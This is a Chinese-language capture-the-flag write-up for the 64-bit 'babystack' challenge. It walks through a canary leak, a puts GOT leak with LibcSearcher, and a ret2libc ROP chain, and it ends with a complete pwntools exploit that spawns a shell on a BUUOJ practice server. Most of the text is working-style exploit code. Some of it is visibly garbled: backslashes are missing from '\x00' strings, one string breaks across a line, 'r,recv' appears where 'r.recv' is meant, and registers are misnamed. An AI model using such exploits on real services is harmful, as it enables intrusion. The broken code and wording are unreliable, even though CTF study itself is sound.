others_babystack
步骤:
- 例行检查,64位程序,开了挺多保护
- 本地试运行一下程序
- 64位ida载入,看main函数
1是read函数,存在栈溢出;2是puts函数,3退出
利用思路
- 泄露canary
由于存在canary,我们首先要想办法泄露出它的值来绕过canary保护,puts函数在输出的时候是遇到’x00’ 才会结束,我们都知道canary跟在ebp之后,因此我们直接填充‘a’到ebp,正好 可以把canary的截断符覆盖,再输出,就会连canary输出来了,成功泄露了canary。
r.sendlineafter(">>",'1')
payload='a'*(0x80+8)
r.sendline(payload)
r.sendlineafter('>>','2')
r.recvuntil('a
')
canary=u64(r,recv(7).rjust(8,'x00'))
print hex(canary)
- 获取shell
在得到程序里的ebp之后,就可以利用普通的ret2libc的方式去获取shell了,(64位传参要用寄存器的顺序是rdi,rsi,rdx,rcx,r8,r9)
我这里打算使用puts函数去泄露puts的got表,参数只有一个,因此只用到了一个rdi寄存器,找一下设置它值的指令ROPgadget --binary babystack |grep "pop rdi"
泄露puts函数的got表地址,找到libc版本
pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908
payload='a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(">>",'1')
r.sendline(payload)
r.sendlineafter(">>",'3')
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'x00'))
libc=LibcSearcher('puts',puts_addr)
计算system和bin/sh在程序里的实际地址,构造rop攻击
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
payload='a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(system)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
完整exp
from pwn import *
from LibcSearcher import *
r=remote('node3.buuoj.cn',28530)
#r=process('./babystack')
elf=ELF('./babystack')
context.log_level='debug'
#泄露canary
r.sendlineafter(">>",'1')
payload='a'*(0x80+8)
r.sendline(payload)
r.sendlineafter('>>','2')
r.recvuntil('a
')
canary=u64(r.recv(7).rjust(8,'x00'))
print hex(canary)
pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908
#泄露puts函数的got表地址
payload='a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(">>",'1')
r.sendline(payload)
r.sendlineafter(">>",'3')
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'x00'))
#找到对应的libc版本
libc=LibcSearcher('puts',puts_addr)
#计算system函数和字符串‘/bin/sh’在程序里的实际地址
libc_base=puts_addr-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
#构造rop攻击获取shell
payload='a'*(0x80+8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(system)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.interactive()